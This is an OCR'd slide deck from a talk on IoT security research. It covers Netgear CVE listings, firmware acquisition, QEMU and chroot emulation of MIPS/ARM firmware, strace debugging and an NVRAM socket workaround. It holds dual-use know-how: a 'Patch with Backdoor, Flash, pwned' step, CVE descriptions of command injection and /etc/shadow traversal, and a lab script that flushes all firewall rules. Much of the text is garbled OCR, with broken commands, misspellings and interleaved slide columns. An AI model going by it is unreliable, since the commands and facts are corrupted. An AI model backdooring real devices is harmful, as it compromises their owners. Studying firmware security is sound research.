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Why This Talk Exits and Thanks RD

This Talk Is Part of 2" Nov, Fuzzing Talk
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> Capstone disassembler: http://capstone-engine.org

> Unicorn emulator: http://unicorn-engine.org

> Keystone assembler: http://keystone-engine.org
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Your Very First IoT Device
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Why Hacking loT

Remembering,
smashing the stack for fun and profit



Why loT Research Is Important

24K Core Architecture
Alping: I8 GPH, T, 5P, UART

* 24Kc™ Core: This base core
includes a high-performance
32x32 multiply/divide unit and
configurable MMU with TLB or
fixed mapping.

* 24KEc™ Core: This core
adds the MIPS DSP ASE to the
foundation capabilities of the
24K series.

* 24Kf/24KEf™ Cores: Include
a hardware floating point unit that
is fully compliant with IEEE 754.

* 24K/24KE™ Pro Cores:
Pro series cores feature the
CorExtend™ capability for user
defined instructions

TAP Interface  OCP Interface

|
I

Skorpio
DBI

Firmware

Emulation

Guided

Fuzzer for Embedded

> Without built-in shell access for user > Binary only - without source code

interaction - .
> Existing guided fuzzers rely on source code

> Without developement facilities required for available

building new tools > Source code is needed for branch

instrumentation to feedback fuzzing
progress

> Compiler

> Debugger
> Emulation such as QEMU mode supportin

> Analysis tools AFL is slow & limited in capability

> Same issue for other tools based on
Dynamic Binary Instrumentation

~

> Most fuzzers are built for X86 only

> Embedded systems based on Arm,
Arm64, Mips, PPC

> Existing DBIs are poor for non-X86 CPU
> Pin: Intel only

> DynamoRio: experimental support for
Arm




Back to School Edition: DEFINATION of lIoT




Definition of IoT — From The Book

Any Online-able THINGS




The Real Definition of IoT

e

Human Operated + Online-able Item + Al Capability

* Data Mining(maybe) Business *




Attack Surface




Attacker Perspective

.
> Server OS Security
('8
- Application Security D,

> Vendor Data Center Security

> Communication Protocol

Again, Why?
Is To Discover The Truth

> Data Transmission Hijack

> Sniffing

> Household Security

> Device Password Danger




Back To 101




Everything is small, Including SECURITY

USB etc.

MT7603E pammy
o= GE
MT7621A TraN o Lan

MT7612E P P

Option  Option

System on Chip Strip Down Power Usage

A chip with all the PCl-e slot and card in it Strip Down Size

Pinout to different parts
WiFi, Lan, Bluetooth and etc

Strip Down Processing
Strip Down SECURITY

Low power device




Skillz




Requirement

Wk NSlier  BRES.

Expansion Ports
(USB2.0, 12S, UART,
GPIO, ..)

SATA3.0
x2

UART
Debug Port

‘ .
2.4G Antenna & 5G Antenna

Understanding The Board




Requirement: Software

Skill @ GNU Command Set




Lets Get Started




Device Limited Bug

Netgear : Security Vulnerabilities

CVSS Scores Greater Tham: 0 L 2 2 4 5 & 7 8 3
Sort Results By : CVE Number Descending CVE Number Ascending CVSS Score Dascanding  Number OF Exploits Descending

Total number of vulnerabilities : 75 Page : 1 (This Page) 2

Copy Results Download Results

# CVE ID CWE #of Vulnerability Type(s) Publish Update Score Gained Access Access Complexity Authentication Conf. Integ. Avail.
v} Exploits Date Date Level
1 CVE-2017-6862 115 Exec Code Overflow Bypass 2017-05-26 2017-07-17 Mone Remaote Low Mot required  Partial Partial Partial
METGEAR WNR2000v3 devices before 1.1.2,14, vd devices before 1.0.0.66, an 00v5 devices before 1.0.0.42 allow suthentication bypass and remote code execution via a buffer
overflow that uses a parameter in the administration webapp. The NETGEAR ID is PSV-2016-0261.
2 CVE-2017-6366 352 Exec Code CSRF 2017-03-15 2017-03-29 | 6.8 None Remote  Medium  Notrequired  Partial  Partial  Partial

Cross-site request forgery (CSRF) vulnerability in NETGEAR DGN2200 routers with firmware 10.0.0.20 through 10.0.0.50 allows remote attackers to hijack the authentication of users for requests
that perform DNS lookups via the host_name parameter to dnslockup.cgi. MOTE: this issue can be combined with CVE-2017-6334 to execute arbitrary code remotely,

3 CVE-2017-6334 284 Exec Code 2017-03-05 2017-08-31 - None Remote Low Single system Complete Complete Complete

TTOT O METEERR-DEM2200 devices with firmware through 10.0.0.50 allows remote authenticated users to execute arbitrary 05 commands via shell metacharacters in the host_name
field of an HTTP POST reguest, a different vulnerakility than CVE-2017-5077,

r

| 7 CVE-2018-10176 20 Exec Code 2017-01-29 2017-09-02 |75 | None Remote Low Mot required  Partial  Partial  Partial

allows an administrator to perform sensitive actions by invoking the apply.cgi URL on the web server of the device. This special URL is handled by the embedded

web server (uhttpd) and processed accordingly. The web server also contains another URL, apply_noauth.cgi, that allows an unauthenticated user to perform sensitive actions on the device. This
functionality can be exploited to change the router settings (such as the answers to the password-recovery questions) and achieve remote code execution.

| 8 CVE-2015-10175 200 +Info 2017-01-29 2017-08-02 5.0 Neone Remaote Low Mot required  Partial MNene None
eaks its sernial number when performing a reguest to the /BRS_netgear_success.html URI. This serial number allows a user to obtain the administrator username

and password, when used in combination with the CVE-2016-10176 vulnerability that allows resetting the answers to the password-recovery questions,

| 9 CVE-2016-10174 119 l Exec Code Overflow 2017-01-29 2017-09-02 | EEIEH Hone Remote Low Mot required Complete Complete Complete

b e

itains a buffer overflow in the hidden_lang_avi parameter when invoking the URL /apply.cgi?/lang_check.html. This buffer overflow can be expleited by an

10 CVE-2015-10116 264 2017-01-04 2017-01-11 - None Remote Medium Mot required Complete Complete Complete

MNETGEAR Arlo base stations with firmware 1.7.5_6178 and earlier, Arlo Q devices with firmware 1.8.0_5551 and earlier, and Arle Q Plus devices with firmware 1.8.1_6094 and earlier use a pattern
of adjective, noun, and three-digit number for the customized password, which makes it easier for remote attackers to obtain access via a dictionary attack,

11 VI

2017-01-04 2017-01-11 | SN None Remote Low Not required Complete Compls
~TS—5178 and earlier, &rlo Q devices with firmware 1.8.0_5551 and earlier, and &rlo @ Plus devices with firmware 1.8.1_6094 and earlier
default password of 12345678, which makes it easier for remote attackers to obtain access after a factory reset or in a factory configuration. | n The Begln nlng o
12 CVE-2016-10106 22 Dir. Trav. 2017-01-03 2017-07-26 4.0 None Remaote Low Single system  Partial MNonsg We Need Flrmware

Directory traversal vulnerability in scgi-bin/platferm.cgi on NETGEAR FVS336Gv3, FWS318N, FYS318Gv2, and SRX5308 devices with firmware before 4.3.3-8 allows remote authenticat]
read arbitrary files via a .. (dot dot) in the thispage parameter, as demonstrated by reading the /etc/shadow file.



Getting Firmware




Firmware and Hardware

VR Mirrorless Action Home Dash Accessories Support Bu . nadow hack-v3 @ Watch | 14
Overview Features Specs Firmware &Aop YIHC e 40 (D) Issues 149 1 Pull requests 1 [ Projects 0 ili Insights
E' Join GitHub today
OUtdOOf Ca mera GitHub is home to over 28 million developers working together to host

and review code, manage projects, and build software together.

SOWIREOAD rnative Firmware fo Cameras based on Hi3518e Chipset

3.0.00C_ 201807181924 v

Version:3.0.0.0C_2018071819264

Extract From APK, Traffic Sniffing or Just Download
1. Download 2. Patch with Backdoor 3. Flash 4. pwned

README.md Added ability to have programs and libraries reside on the microSD card.

download_proxy_list.png Changed FTP server to Pure-FTPd.

JSA v |18700_201708091510(USA) ¥
download_proxy_list_completed_ex... Changed FTP server to Pure-FTPd.

DOWNLOAD Paland Version i updates.

i updates.

1.8.7.0D_201708091510
Release date:08/0%/2017 README.md

If we need more ?

1. RCE 2. Study the firmware




Firmware Architecture




Romance of 3 Kingdom

24K Core Architecture

i

TAP Interface  OCP Interface

* 24Kc™ Core: This base core
includes a high-performance
32x32 multiply/divide unit and
configurable MMU with TLB or
fixed mapping.

* 24KEc™ Core: This core
adds the MIPS DSP ASE to the
foundation capabilities of the
24K series.

* 24Kf/24KEf™ Cores: Include
a hardware floating point unit that
is fully compliant with IEEE 754.

* 24K/24KE™ Pro Cores:
Pro series cores feature the
CorExtend™ capability for user
defined instructions

ARM

We learn from the hard way (aka story time)

I UEHID

Etharnast

AARCHG4




The Easy Way




Complete Kit to Success

Alpine: Jx GPD, G, 5P, AT

I USHA. 0

MIPS AARCHG4

Interchangeable Base Board

If There are only 3 platform,

Download, Flash, Reverse and pwn !!!



If *ARM/AARCHG64* Why Not Raspberry PI




LIBC Compatibility

MIPS ARM AARCHG64

Not Supported by Raspberry PI

Raspberry Pl Is not *reverser* Friendly
So, QEMU is a MUST




tarting program
ARARRAR
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Current Work Around




Qemu Static

v Terminal - 4+ =
File Edit View Search Terminal Help

sudo chroot . ./gemu-mipsel-static bin/busy[f¥

X-asuswrt
BusyBox v1.20.2 (2013-08-24 22:04:57 EDT) multi-call binary.
Copyright (C) 1998-2011 Erik Andersen, Rob Landley, Denys Vlasenko
and others. Licensed under GPLv2Z2.

See source distribution for full notice.

e: busybox [function] [arguments]...
: busybox --list A
or: function [arguments]...

BusyBox is a multi-call binary that combines many common Unix
utilities into a single executable. Most people will create a
link to busybox for each function they wish to use and BusyBox
will act like whatever it was invoked as.

Currently defined functions:
[, [[, arp, arping, ash, awk, basename, blkid, cat, chmod, chown,
chpasswd, chroot, clear, cmp, cp, crond, crontab, cut, date, dd, df,
diff, dirname, dmesg, du, echo, egrep, env, ether-wake, expr, fdisk, v

QEMU-Static is good for binary execution without additional

software or hardware interection




Current Primitive Firmware Emulation

~
S0 gle emulating firmware L Q
A v o o
e0e ¥ Ubunty 64-bit loT TO reiease your mouse press: Control-3
Semng started with Firmware Emulation for loT Devices
100,30y Comgeting StariwifAvare omiatcn
Firmware Emutation wmbar as analyzing the

firmware i  bott

Weicome 10 the t .
v we can get started with an

loT This

ek

Firmware emulation
with QEMU

nware Analysis
bikit by Atiify -
ulating loT device

Emulating smart plug
firmware using Attify's
Firmware Analysis

Toolkit

Emuiating and Exploiing Fitmware binaries by Aditya Gupta .- Peelyst
itps: /N poerystcom » Expioce
e e Sy Fimeare bt T i T i

GitHub - firmadyne/firmadyne: System for emulation and dynamic

m for emulation and dynami: analyss of Lew-based firmware - fmadyna frmadyne

GitHub - atmylrvmwa:e analys4s -toolkit: Toolkit to emulate firmware
hitps:/igithub,cox re-analys -

Tookol 1o emulste firmware and asyse

—
Network support when emulating firmware with QEMU - Reverse
hitps:i g.81a0) ge.com! fatingf

2 " Pl o) 4:59/12:10

e, but emulating the raw bin fie s almost neve 1o work unless it laid

piatform you's

loT This Week | Firmware emulation with QEMU
R 7,332 views ifg LKE &V DISLKE & SHARE S  «ee

ws-with-qemu/ +

b [ m;m.m sl
Kermei a 100tfs Imag

Images for emulating firmware

> More mmages for emuistng trmware

Leaving squashfs and going into a unknown world

Its not easy after 2016




Why Firmware Emulation




More Resources = More Power

Processor

Normally Normally

Most Important, we got apt-get




Objectives




Only One Process with Interaction

NETGEAR genic W

.CED

X+

ADVANCED Home ¥ Router Informaticey  Internet Port - it secure | 10.253.253.10/main.html # @& 0 ¢

Hardware Version MAC Address 0009 50704626

Setup Wizard

Firmware Version B E IP Address 0000
WPS Wizard

GUI Language Versi Connection Mode DHCPChient

2 Internet Status English « | Exit

Setup LAN P 1P Subnet Mask

E = e ° : & Internet Status 2.4 GHz: Disable
MAC Address 525400123456  Domain Name Server N ‘

» USB Storage 1P Addreas 1921689 5 GHz: Disable

» Security DHCP Server on

» Administration

» Advanced Setup

[ ShowSnistcs 1 Comechon e
-%» USB: 0

X Wireless Settings(2.4GHz) X Wireless Settings(5GHz)

Name (SSID) NETGEAR Name (SSID) NETGEAR-5G
Region Asia Region Asia Repeating failed. @ online: 0
Channel Auto (0) Channel Auto (0) X .
Mode Up to 300 Mbps Mode Up to 867 Mbps
Wireless AP on Wireless AP on U WiFi Extender
Brvsdase ows . Beoadesi Namd o Upstream Router My Router
Wi-Fi Protected Setup Configured Wi-Fi Protected Setup Configured
X Guest Network(2.4GHz) X Guest Network(5GHz) 52:54:00:FA:EE:10 10.253.253.10 V15.03.05.19_
Name (SSID) NETGEAR_Guest Name (SSID) :1[['3{!«‘?—55751:
Wireless AP off = = '"
ireless Al of

Broadeast Name On missts

Broadcast Name on

Allow guest to access My Local .,
Network Allow guest to access My Local .
Network

Hunt for the one that spawn
listener port

devices comes with one big binary




Booting Up




#!/bin/bash

Sl FmEEl <6 e sudo screen /opt/qemu/bin/qemu-system-mipsel malta boot.stretch.mi

psel/vmlinux-4. .@-4-4kc-malta boot.stretch.mipsel/initrd.img-4. .@-4-4kc-malta

4,maxcpus=4 -kernel boot.stretch.armhf.virt/vmlinuz-4.9.@-6-armmp-lpae -initrd boot.stre i QEblan-stretch.mlpsel
tch.armhf.virt/initrd.img-4.9.0-6-armmp-1lpae -append "root=/dev/vda2" -drive file=debian -qcow2 nic =no nic =
-stretch.armhf_virt.qcow2,if=none,format=qcow2,id=hd® -device virtio-blk-device,drive=hd =no

® -netdev type=tap,id=net® -device virtio-net-device,netdev=net®,mac=52:54:00:fa:ee:10 -

nographic tunctl tape xwings

sudo screen -dm /opt/gemu/bin/gemu-system-arm -m 2048 -M virt -cpu cortex-al5 -smp cpus=

ifconfig tape

netmask

sysctl -w net.ipv4

"Stopping firewall

.ip_forward=1

and allowing everyone..."

iptables -F

iptables -X

iptables -t nat -F
iptables -t nat -X
iptables -t mangle -F
iptables -t mangle -X
iptables -P INPUT ACCEPT
iptables -P FORWARD ACCEPT
iptables -P OUTPUT ACCEPT

iptables -t nat -A POSTROUTING -o ens33 -j MASQUERADE
iptables -I FORWARD 1 -i tap@ -j ACCEPT
iptables -I FORWARD 1 -o tap® -m state --state RELATED,ESTABLISHED -j ACCEPT

sudo iptables -t nat -A PREROUTING -i ens33 -p tcp --dport 1822 -j DNAT --to-destination
106.253.253.10:22

sudo iptables -t nat -A PREROUTING -i ens33 -p tcp --dport 1888 -j DNAT --to-destination
10.253.253.10:80

sudo iptables -t nat -A PREROUTING -i ens33 -p tcp --dport 18443 -j DNAT --to-destinatio
n 10.253.253.16:443

echo "Becoting VM, eta 1@ seconds"
sleep 10
sudo ifconfig tap® 1©.253.253.254 netmask 255.255.255.8

sysctl

iptables
iptables
iptables
iptables
iptables
iptables
iptables
iptables
iptables

iptables
iptables
iptables

iptables
kil g 227

iptables
.11:80

iptables
c1kal3

nat

nat

mangle

mangle

INPUT ACCEPT
FORWARD ACCEPT
OUTPUT ACCEPT

nat POSTROUTING ELUEEE]
FORWARD tape ACCEPT
FORWARD tape state

MASQUERADE

RELATED, ESTABLISHED

nat PREROUTING ens33
nat PREROUTING ens33

nat PREROUTING ens33
443

ACCEPT




chroot




Easy Way Out, chroot

1 Answer

odb chroot L Q e det | vos Debugging firmware images that aren't successfully
emulated #46

(alI W prashast opened this issue on Apr 29, 2077 - 11 comments

All Images Videos News Shopping More Settings  Tools *You can use remote debugging:

About 63,500 results (0.4 seconds) 2 In the T B eMIad just your usual runtime plus the program gdbserver . Then run:

c++ - Debug chrooted program with gdb - Stack Overflow chroots gdbserver :853% myprogran

:t;ﬂ?v:::acmvemcwmm’q"esmnmaa%smmemg{nmmed_pmgmm'wnh-gdb M 4 Inthe development environment, from the source directory you run gds and connect it to the ! prashast commented on Apr 29, 2017 f
Nov 13, 2015 - You can use remote debugging: In the chroot you need just your usual runtime plus the server . I
program gdbserver . Then run: chroot$ gdbserver :8888 ... R _ R

gdb - How 1o debug binaries from a MIPS firmware 8 Apr 2018 5 b myETEEE Hey @ddcc, | had a question regarding the debugging framework for binaries that aren't successfully

linux - Use UDP port for GDB connection in Eclipse 1 Nov 2016 (gdb) target remote :8338 emulated. | wanted to remotely debug a web server binary that was running as a part of the emulation but | 1

eclipse - Is it possible to have multiple connections to gdbserver ... 7 Aug 2016 was having trouble connecting to the gdb stub that | was running in QEMU. Do you have any pointers on as

Eclipse GDB running inside Chroot environment 18 Aug 2014 And you can start debugging. X P t
More results from stackoverflow.com to how you go about debugging these binaries?
| like to do br main before continue because the debugger will be stopped in _start | too early to
Debugging with GDB - Sourceware be useful. F
hitps:/Avww.sourceware.org/gdb/onlinedocs/gdb.html . . . o N
This is the Tenth Edition, of Debugging with GDB: the GNU Source-Level . (gdb) catch syscall PS: Be aware of the security concerns when using remote debugging, as the 8888 is a listening ddcc commented on Apr 29, 2017 Collaberator -+
chroot Catchpoint 1 (syscall ‘chroot [61]) (gdb) r Starting .. TCP port.
Getting In and Out of GDB - GDB Commands - Running Programs Under ..
Unfortunately, debugging system-mode QEMU is a pain, so | try to avoid it, and substitute with r

chroot is easy (still hardware dependent), but we will have issue with tools

find pre-compiled binaries online. Also, if you have access to IDA Pro, it comes with its own pre-compiled
Tinkering Is Fun: Debugging non-native programs with QEMU + GDB debug stubs (not GDB-compatible) in the install directory.

tinkering-is-fun. blogspot.com/2009/.../debugging-non-native-programs-with-gemu.ht... v
Dec 14, 2009 - Debugging non-native programs with QEMU + GDB __ curious enough, you might have
tried running GDB within your (say) ARM Debian chroot. N

Debugging firmware images that aren't successfully emulated - Issue ...
https:figithub.com/firmadyne/firmadyne/issues/46 v

Apr 28, 2017 - I've set up a bind mount of the /proc inside the chroot because gdb complained that it
wasn't able to read the proc entry of the pid that was ._

Running without chroot




Classic Case: File Not Found




chdir("/™) =0

execve("/bin/bash", ["/bin/bash", "-1"], Oxffffcaldfe50 /* 18 vars */) = -1 ENOENT ( file or d
irectory)

openat(AT_FDCWD, "/usr/lib/aarch64-1inux-gnu/charset.alias", O_RDONLY|O_NOFOLLOW) = -1 ENOENT (EIEWE
[l file or directory)

write(2, "chroot: ", 8chroot: ) = 8

write(2, "failed to run command '/bin/bash'", 33failed to run command '/bin/bash') = 33

write(2, ": file or directory", 27: file or directory) = 27

write(2, "\n", 1

) =1

close(l)
close(2)
exit_group(127)

lib64# file ../bin/bash
../bin/bash: ELF 64-bit LSB executable, ARM aarch64, version 1 (SYSV), dynamically linked, interprete
r /1ib64/1d-1inux-aarch64.so0.1, for GNU/Linux 3.14.0, BuildID[shal]=22e2854c58b1814825b95cbal®@3ac658d
371f5b0@, stripped




The missing .SO and binary Issue




pid 2680] close(4) =0

pid 2680] write(1l, "<dhcpc script>no udhcpc pid can be killed, but udhcpc id is ", 60) = 60

pid 2680] newfstatat(AT_FDCWD, "/usr/local/sbin/ps", Oxfffffe081a30, @) = -1 ENOENT (YR file
directory)

pid 2680] newfstatat(AT_FDCWD, "/usr/local/bin/ps", Oxfffffe@81a30, @) = -1 ENOENT (EJEWER file q
directory)

pid 2680] newfstatat(AT_FDCWD, "/usr/sbin/ps", Oxfffffe081a30, @) = -1 ENOENT (W& file or di

newfstatat(AT_FDCWD, "/usr/bin/ps", Oxfffffe@81a30, @) = -1 ENOENT ([EJREWER file or dirg
newfstatat(AT_FDCWD, "/sbin/ps", Oxfffffe081a30, 0) = -1 ENOENT ((EJEMMER file or directq
newfstatat(AT_FDCWD, "/bin/ps", {st_mode=S_IFREG|@755, st_size=535832, ...}, @) =0

pipe2([4, 71, @ =0
clone(strace: Process 2681 attached

Usage: unzip [_1nopq] FILE[.Zip] [FILE]... [_x FILE...] [_d DIR] Poot@ Z/USP/lib(ﬁ/l# ].n 1ibgnutls.50.3@.9.@ 1ibgnut15.50.3@

root@ D /usr/1ib64# 1n libidn.s0.11.6.16 libidn.so.11
root@ D /usr/1ib64# 1n libnettle.so0.6.2 libnettle.so.6
root@ D /usr/1ib64# 1n libhogweed.so.4.2 libhogweed.so.4
syn: applet not found root@ 2/usr/1%b64# In l?bgmp.so.lﬁ.B.l l%bgmp.so.l@
root@aarché4: /opt/ 2/bin# 1In -s busybox.nosuid sync Poot@ 2/usr/1}b§4# In 1}bpcre.so.1.2:7 llppcre.so.l
root@aarch64: /opt/ 2/binit root@ P /usr/1ib64# 1n libexpat.so0.1.6.2 libexpat.so.1
root@ 2/usr/lib6a# |

root@aarch64: /opt 2/bin# 1n -s busybox.nosuid unzip
root@aarch64: /opt 2/bin#t ./busybox.nosuid sync
root@aarch64: /opt 2/bin# ./busybox.nosuid syn




bash-3.2# /usr/bin/appmainprog
appma-i_n>**********************************************
appmain>child process id is 3931

appmain>Appcliation Init Begin

appmain>Audio Mas process Init

[Aud][PPC] AudioPPCControl constructor

[Aud][PPC] AudioPPCControl getInstance

[Aud][PPC] AudioPPCControl freelInstance

[Aud][PPC] AudioPPCControl destructor
[Aud][PPC][deInit] PPC deinit begin.

[Aud] [PPC] [ppcStructUnalloc] ppc_destroy_info begin.
Segmentation fault

close(3) =0
write(1l, "<appmain>Appcliation Init Begin\n", 3Z2<appmain>Appcliation Init Begin
) =32
write(1l, "<appmain>Audio Mas process Init\n", 32<appmain>Audio Mas process Init
) =32
umask(@0@) = 022
faccessat(AT_FDCWD, "/data/log_all", F_OK) = -1 ENOENT ([EJfEWME file or directory)
socket(AF_UNIX, SOCK_DGRAMISOCK_CLOEXEC, @) = 3
connect(3, {sa_family=AF_UNIX, sun_path="/dev/log"}, 110) = -1 ENOENT (JeJEEWe4 file or directory)
close(3) =0
write(l, "[Aud][PPC] AudioPPCControl constructor\n", 39[Aud][PPC] AudioPPCControl constructor
) =39
write(l, "[Aud][PPC] AudioPPCControl getInstance\n", 39[Aud][PPC] AudioPPCControl getInstance
)>=13%
faccessat(AT_FDCWD, "/tmp/ppcfifo”, F_OK) = -1 ENOENT ([{[sJfJtleg file or directory)
IFIFQI0777) = -1 ENOENT ((NelWlely file or director




The Secretive NVRAM




main pro

P750] openat(AT_FDCWD, "/dato/[ge/APCFG/APRDEB/BT_Addr", O_RDONLY)
p750] flock(5, LOCK_SH) )
P750] read(S, "\O\OF\201g\1 \@#\20\O\O\7\200\O\6\5\7\3@\37@\SPANG\I 200\ O\ 377\
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" 64) =
close(5) =0
openat(AT_FDCWD, “/dev/disk/by—partlabel/M“, O_RDWR) = -1 ENOENT (N
openat(AT_FDCWD, "/dev/mtdl", O_RDWR) = -1 ENOENT (No such file or dire
openat(AT_FDCWD, "/data//iges/APCFG/APRDEB/PRODUCT_INFO", O_RDONLY) =
close(5) =0
newfstatat(AT_FDCWD, "/dato/[gYgen/APCFG/APRDCL/FILE_VER",
@ =
openat(AT_FDCWD, "/data/[iRes/APCFG/APRDCL/FILE_VER", O_RDONLY) =
read(5, "IN VER_INFO\O\@\O\Q\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O
O\O\O\O\D\O\O\O\O\O\O\O\O\O\O\O\O\O\O\Q", 70) =
P750] 1seek(5, 3626, SEEK_SET) = 3626

P75@] read(5, "PRODUCT_ INFO\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0

{st_mode=S_IF

openat(AT_FDCWD,
openat(AT FDCWD,

/_ strace -f -s 256 chroot /opt,_/ /usr/bin/appmainprog

pt AC
e

# cat /tmp/abc | grep
"/1ib64/11ibjgi¥gleli . so", O_RDONLY |O_CLOEXEC) =
"/11.b64/11b _custom.so", O_RDONLYI|O_CLOEXEC) =




main pro

P750] openat(AT_FDCWD, "/datao/[Rea/APCFG/APRDEB/BT_Addr", O_RDONLY)
P750] flock(5, LOCK_SH) =0
P750] read(5, "\O\OF\201g\1 \@#\Z2O\O\O\7\200\O\6\S\7\3@\37@\SAAO 4200\ 377N
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\@\0\0\0\0\0\0\0\0" 64) =

close(5) =0

openat(AT_FDCWD, "/dev/disk/by-partlabel/ﬂlﬁ!ﬂ", O_RDWR) = -1 ENOENT (N

openat(AT_FDCWD, "/dev/mtdl", O_RDWR) = -1 ENOENT (No such file or dire
openat(AT_FDCWD, "/data./[Naea/APCFG/APRDEB/PRODUCT_INFO", O_RDONLY) =
close(5) =0
newFstatat(AT FDCWD, “/dataM/APCFG/APRDCL/FILE VER", {st_mode=S_IF
@ =
openatCAT_FDCWD, "/dato/[Ngean/APCFG/APRDCL/FILE_VER", O_RDONLY) =
read(5, "JNEAY VER_INFO\Q\Q\Q\O\Q\O\Q\O\Q\O\Q\O\O\O\O\O\O\O\O\O\O\O\O\O
O\O\0\Q\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\Q", 70) =
p750] 1seek(5, 3626, SEEK_SET) = 3626
p750] read(5, "PRODUCT_INFO\O\O\O\0\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O

AC
e
# cat /tmp/abc | grep
openat(AT_FDCWD, "/1ib64/Lib{gl¥delii . so”, O_RDONLY |O_CLOEXEC) =
openat(AT FDCWD, "/1lib64/1libjgdelyy custom.so"”, O_RDONLYI|O_CLOEXEC) =

[pid 3088] close(5) =

[pid 3088] write(l, "[08-28 20:45:32][utils/SNManager.cpp:26][D] : Read W\ Failed\n", 64[08-28 24
:45:32][utils/SNManager.cpp:26][D] : Read Failed

) = 64

[pid 3088] write(l, "<AST>[RegisterCmdHandler:113]:Cmd [22] Registered Handler!\n", 59<AST>[Registe




P750] openat(AT_FDCWD, "/data/[ueR/APCFG/APRDEB/BT_Addr", O_RDONLY)
P750] flock(S, LOCK_SH) =0
P750] read(5, "\O\OF\201g\1 \@#\20\O\O\7\200\0\6\5\7\3@\37@\37 G4\ 200\ 377\
D\O\Q\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\0", 64) = 64

close(5) =0

openat(AT_FDCWD, "/dev/disk/by-partlabel/J@A4", O_RDWR) = -1 ENOENT (N

main pro

openat(AT_FDCWD, "/dev/mtdl", O_RDWR) = -1 ENOENT (No such file or dire
openat(AT_FDCWD, "/data/[ges/APCFG/APRDEB/PRODUCT_INFO", O_RDONLY) = 5
close(5) =0
newfstatat(AT_FDCWD, "/data/[Ras/APCFG/APRDCL/FILE_VER", {st_mode=S_IF
Q) =0
openat(AT_FDCWD, "/data/[ged/APCFG/APRDCL/FILE_VER", O_RDONLY) = 5
read(5, "N _VER_INFO\O\Q\Q\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\@
O\O\O\Q\O\O\O\O\Q\D\O\O\O\O\O\Q\O\O\O\Q", 70) = 70
P750] lseek(5, 3626, SEEK_SET) = 3626
P750] read(5, "PRODUCT_INFO\O\@\Q\Q\Q\O\O\O\Q\O\O\O\O\O\O\O\O\O\O\O\O\O\O\0\0

/_ strace -f -s 256 chroot /opt_/ /usr/bin/ay

pt AC
AC

# cat /tmp/abc | grep
.50", O_RDONLY|OQ_CLOEXEC) = 3
_custom.so", O_RDONLY|O_CLOEXEC) = 3 interactor




main pro

P750] openat(AT_FDCWD, "/datao/[Rea/APCFG/APRDEB/BT_Addr", O_RDONLY)
P750] flock(S, LOCK_SH) )
P750] read(5, "\O\QF\201g\1 \@#\20\O\O\7\200\O\6\5\7\3@\37@\ 37O A\ 200\0\ 377\
\O\O\O\Q\Q\Q\Q\Q\Q\Q\Q\Q\Q\O\O\O\O\O\O\O\O\O\O\O\Q" , 64) =

close(5) =0

openat(AT_FDCWD, "/dev/disk/by-partlabel /[JMEM", O_RDWR) = -1 ENOENT (N

3 nvramsocket.py 24x2 I

openat(AT_FDCWD, "/dev/mtdl", O_RDWR) = -1 ENOENT (No such file or dire

openat(AT_FDCWD, "/data/[¥iges/APCFG/APRDEB/PRODUCT_INFO", O_RDONLY) =

close(5) =0

newFstatat(AT FDCWD, “/dataM/APCFG/APRDCL/FILE VER", {st_mode=S_IF

@ =

openat(AT_FDCWD, "/datao/[RYae/APCFG/APRDCL/FILE_VER", O_RDONLY) = 5 inport socket

read(5, "MVREE_VER_INFO\O\O\Q\Q\O\O\O\O\O\O\O\G\O\O\O\O\O\G\O\O\O\O\O\O gt o
O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\Q\O\O\O\Q", 70) =
p750] 1seek(5, 3626, SEEK_SET) = 3626 e e ke

750] read(5, "PRODUCT_ INFO\0\0\0\0\0\0\@\@\@\0\@\@\@\@\@\@\0\0\0\0\0\0\0\0\0

try

except OSE

root@rpi3:/opt/_ strace -f -s 256 chroot /opt/ || /vs-/bin/ar

/abc 2>&1

ACroot@rpil:/opt e
root@rpi3:/opt e

sock = socket.socket(socket.AF_UNIX, socket.SOCK_STRE

print »>»sy

ting up

root@rpi3:/op iR cot /tmp/abc | grep
openat(AT_FDCWD, "/1ib64/1ibjg¥gelii. so", O_RDONLY|O_CLOEXEC) =
openat(AT FDCWD, "/11b64/11b _custom.so", O_RDONLY O CLOEXEC) interactor

while

connection, client_address = sock.accept()
try:

i1 e

p on %' ¥ server_address






The bridge trick

Terminal

File Edit View Search Terminal Help

File "./nvramsocket.py", line 33, in <module>
connection, client_address = sock.accept()
File "/fusr/lib/python2.7/socket.py", line 206, in accept
sock, addr = self._sock.accept()
KeyboardInterrupt
rooT@armnT: /Nome/XwWilngs/Tenda/nvramsockeTt® 1TCONT1g
bre: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 18.253.253.18 netmask 255.255.255.0 broadcast 18.253.253.255
inet6 feBO::5054:ff:fefa:eeld prefixlen 64 scopeid ©x20<link=>
ether 52:54:00:fa:ee:10 txqueuelen 1000 (Ethernet)
RX packets 5952 bytes 586279 (572.5 KiB)
RX errors ® dropped ® overruns @ frame 0
TX packets 5404 bytes 1596396 (1.5 MiB)
TX errors ® dropped © overruns @ carrier @ collisions @

eth®: flags=4163<UP,BROADCAST ,RUNNING,MULTICAST> mtu 1500
ether 52:54:00:fa:ee:10 txqueuelen 1088 (Ethernet)
RX packets 5953 bytes 669782 (654.0 KiB)
RX errors @& dropped & overruns & frame @
TX packets 5403 bytes 1596294 (1.5 MiB)
TX errors ® dropped © overruns @ carrier @ collisions @

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1 (Local Loopback)
RX packets © bytes 0 (0.0 B)
RX errors ® dropped ® owverruns @ frame 0
TX packets ©® bytes 0 (8.0 B)
TX errors @ dropped ® overruns @& carrier 8 collisions @

root@armhf: fhome/xwings/tenda/nvramsocket# I

File Edit View Search

The switch looking device




Wireless Device




[WIFI_MW]

[WIFI_MW]

Current PID=808

control interface dir: /tmp/wpa_supplicant/

wpa control client path: /tmp/wpa_supplicant/wpa_ctrl_808
wpa monitor client path: /tmp/wpa_supplicant/wpa_moni_808
